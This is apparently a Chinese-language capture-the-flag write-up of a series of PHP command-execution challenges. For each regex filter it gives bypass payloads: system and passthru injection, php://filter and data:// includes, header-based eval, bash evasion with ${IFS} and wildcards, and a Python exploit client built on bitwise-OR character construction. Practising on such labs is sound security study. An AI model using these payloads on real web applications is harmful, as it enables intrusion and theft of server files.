赞
踩
if(!preg_match("/flag/i", $c)){
?c=system('ls');
?c=system('cat `ls`');
echo `nl fl''ag.php`;
if(!preg_match("/flag|system|php/i", $c)){
一个系统命令执行函数、php
【不区分大小写】?c=passthru('ls');
?c=passthru("nl fl''ag.ph''p");
echo `nl fl''ag.p''hp`;
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
cat、sort、shell、点号、空格、单引号
【不区分大小写】sort的过滤是
因为usort()/uasort()?似乎是因为用sort代替cat
?c=passthru("ls");
?c=passthru("nl%20`ls`");
为什么失败?是因为后端URL解码后,还是空格,然后被过滤【实践后:✔】?c=passthru("nl%09`ls`");
show_source(next(array_reverse(scandir(pos(localeconv())))));
【无参数RCE】if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
反引号、echo、;、左括号
【不区分大小写】?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
双引号
【不区分大小写】?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64- encode/resource=flag.php
【闭合后在重新写个PHP,感觉有点多余】if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
冒号
、双引号【不区分大小写】这里过滤冒号,那么没过滤冒号时的payload是怎么样的
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
【好家伙,和我的一模一样】if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
左尖括号、等于号
【不区分大小写】c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
数字
【不区分大小写】c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
【好家伙,又和我的一模一样】if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
if(!preg_match("/flag|php|file/i", $c)){
?过滤了file,之前是怎么用file读取的?
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
nginx的日志文件/var/log/nginx/access.log data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 查看源代码 或者通过包含日志文件拿shell
if(!preg_match("/flag/i", $c)){
include($c.".php");
?c=data:text/plain,<?php system('cat f*')?>
$flag="flag{db13407e-87cf-4664-9938-25af2a20419b}";.php
后面显示.php
,是因为 <?php ?>.php
因为前面的php语句已经闭合了,.php
会被当成html页面直接显示在页面上 if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
?c=print_r(scandir(pos(localeconv())));
读目录?c=echo(readfile(array_rand(array_flip(scandir(pos(localeconv()))))));
随机读取出文件【多发送几次即可】?c=eval(end(current(get_defined_vars())));&b=highlight_file('flag.php');
?c=eval((next(array_reverse(getallheaders()))));
User-Agent: highlight_file('flag.php');
Content-Length: 2
Content-Type:
22
④
show_source(next(array_reverse(scandir(pos(localeconv())))));
⑤
?c=eval(array_rand(array_flip(getallheaders())));
hint中用了Session,但hex2bin被过滤,没找到其他方式读取flag.php
预期解:show_source(next(array_reverse(scandir(pos(localeconv())))));
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
&
按位与 |
按位或 ^
按位异或 ~
取反 为四大位运算符,其中按位异|
没有过滤,过滤的字符是防异或、自增和取反构造字符生成可用字符的集合
:<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i);#dechex() 函数把十进制转换为十六进制。 }#dechex([0-15])的值为一个字符,加上0,变0[0-f];256=16*16;刚好ff=255 else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); }#以上为获取2组范围为[00-ff]的16进制数 $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo "";#剔除符合正则表达式的字符 } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { //ASCII[32-126]应该是可见字符 $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents);#写入文件 fclose($myfile); ?>
# -*- coding: utf-8 -*- import requests import urllib import sys import os #os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(sys.argv)!=2):#sys.argv[0]为程序本身,之后的值才是参数;sys.argv是个列表 print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=sys.argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" print(output) return(output) ''' #函数的作用:读取输入的值【input()】,从rce_or.txt中依次寻找出对应的值,并将位运算的前值赋予s1、s2 s1、s2用括号包裹起来,为的是动态执行函数【故PHP>7】 ''' while True:#Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型 param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param)#将param进行URL解码 } print(data) r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
>/dev/null 2>&1
的意思是将命令的输出丢弃,错误输出也丢弃;详细介绍见参考文章?c=cat flag;
也可以用%0a
【换行符URL】%26
【&URL】%26%26
和||
sed -n '1,75p' flag.php||
?c=tail -n +15 flag.php||
or head -n +15 flag.php||
or…cut -c- flag.php||
more flag.php||
or less flag.php||
strings flag.php||
od -bc flag.php||
awk '{print $1,$15}' flag.php||
%0d 回车符
失败,不知道为什么if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
?c=tac flag.php%26
nl flag.php%0a
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
c\at fla\g.php%26
nl fla*.php%0a
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
c\at${IFS}fla\g.php%26
在bash下,可以用以下字符代替空格
< 、<>、{ }、%20(空格URL)、%09(tabURL)、$IFS$9、 ${IFS}、$IFS
echo$IFS`tac$IFS*`%0A
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
\\$
匹配的是以\
结束\\$
匹配的是$
,有点神奇,没查到相关资料,待?c=tac<fla\g.php%26
nl<fla''g.php||
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
more、less、head、sort、tail
【不区分大小写】?c=sor\t<fla\g.php%26
nl<fla''g.php||
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
sed、cut、awk、strings、od、curl、`
【不区分大小写】?c=sor\t<fla\g.php%26
看了半天,不知道curl怎么用来读取文件?
nl<fla''g.php||
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
%
【不区分大小写】?c=tac<fla\g.php||
nl<fla''g.php||
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
\x09【制表符】、\x26【&】
【不区分大小写】?c=tac<fla\g.php||
nl<fla''g.php||
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
tac
、awk、strings、od、curl、`、\x09【制表符】、\x26【&】【不区分大小写】?c=ta\c<fla\g.php||
nl<fla''g.php||
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
<、>
【不区分大小写】?c={nl,fla\g.php}||
为什么不行??$
居然被取消过滤???c=ta\c${IFS}/fla\g||
nl$IFS/fla''g||
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
curl和wegt不知道如何读取文件??
wegt
、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】?c=ta\c${IFS}fla\g.php
c''at${IFS}fla''g.p''hp
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
nl、scp、rm
、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】【点号匹配除换行符外的字符】echo${IFS}${SHELLOPTS}
为什么无回显?/bin/?at${IFS}f???.php
/bin/?at${IFS}f???????
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。